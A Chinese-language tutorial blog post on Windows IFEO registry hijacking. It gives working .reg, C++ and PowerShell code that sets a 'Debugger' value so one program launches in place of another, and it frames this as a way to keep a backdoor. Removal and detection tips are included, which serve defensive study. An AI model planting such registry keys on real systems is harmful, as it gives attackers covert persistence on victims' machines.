IFEO劫持
IFEO 劫持,全稱是 Image File Execution Options 劫持,是一種經典的 Windows 注冊表劫持技術,常用于:
-
調試器注入(調試器劫持)
-
替換可執行文件(木馬植入/后門)
-
權限維持(持續存在)
-
沙箱檢測繞過 / 自動啟動注入器
原理簡介
Windows 注冊表中的 Image File Execution Options(簡稱 IFEO)鍵可用于在程序運行前注入調試器等行為。
注冊表路徑如下:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<target.exe>
關鍵子鍵是:
"Debugger" = "C:\path\to\your\malicious.exe"
只要系統嘗試運行 target.exe,它就會先運行 Debugger 指定的程序,而不是目標程序本身。
示例:劫持 calc.exe
手動操作(Regedit 或 reg.exe)
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe]
"Debugger"="C:\\Windows\\System32\\cmd.exe"
執行 calc.exe → 實際運行的是 cmd.exe。
程序化實現(C++ 示例)
點擊查看代碼
#include <windows.h>
#include <iostream>
int main() {
HKEY hKey;
LPCSTR target = "calc.exe";
LPCSTR debuggerPath = "C:\\Windows\\System32\\cmd.exe";
std::string keyPath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\" + std::string(target);
if (RegCreateKeyExA(HKEY_LOCAL_MACHINE, keyPath.c_str(), 0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
RegSetValueExA(hKey, "Debugger", 0, REG_SZ, (BYTE*)debuggerPath, strlen(debuggerPath) + 1);
RegCloseKey(hKey);
std::cout << "IFEO 劫持成功" << std::endl;
} else {
std::cerr << "創建注冊表鍵失敗,請以管理員運行" << std::endl;
}
return 0;
}
解除劫持
只需刪除對應項:
reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /f
實戰用途
| 用途 | 說明 |
|---|---|
| 權限維持 | 劫持系統工具,如 taskmgr.exe,執行后門 |
| 自啟動 | 劫持常用軟件,用戶打開時觸發惡意程序 |
| 沙箱繞過 | 沙箱中可能禁用此項,但用于檢測是否運行在真實環境 |
| 調試用 | 微軟官方也使用此功能進行調試器附加 |
* 檢查注冊表下的 IFEO 項是否異常。
*不要隨意以管理員運行未知程序。
*使用工具如 Autoruns、Process Monitor 排查。
PowerShell 腳本:設置 IFEO 劫持
點擊查看代碼
# 替換為你要劫持的目標程序
$targetExe = "calc.exe"
# 替換為你要注入的調試器(惡意程序)
$debuggerPath = "C:\Windows\System32\cmd.exe"
# 構造完整注冊表路徑
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$targetExe"
# 創建注冊表項(如果不存在)
if (-not (Test-Path $regPath)) {
New-Item -Path $regPath -Force | Out-Null
}
# 設置 Debugger 值
Set-ItemProperty -Path $regPath -Name "Debugger" -Value $debuggerPath
Write-Host "[+] IFEO 劫持已設置: $targetExe -> $debuggerPath"
點擊查看代碼
$targetExe = "calc.exe"
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\$targetExe"
# 刪除整個項
if (Test-Path $regPath) {
Remove-Item -Path $regPath -Recurse -Force
Write-Host "[+] 已移除 IFEO 劫持: $targetExe"
} else {
Write-Host "[!] 未找到劫持項"
}
必須以管理員身份運行 PowerShell,否則會報權限錯誤。 劫持對象不建議為關鍵系統進程(如 explorer.exe、csrss.exe),可能導致系統不穩定或無法登錄。 劫持文件必須存在,否則目標程序運行時會提示錯誤。
示例效果
劫持 calc.exe 后運行:
calc.exe
將彈出:
cmd.exe
可結合自身程序替換 cmd.exe 實現持久化后門或提醒器啟動。

浙公網安備 33010602011771號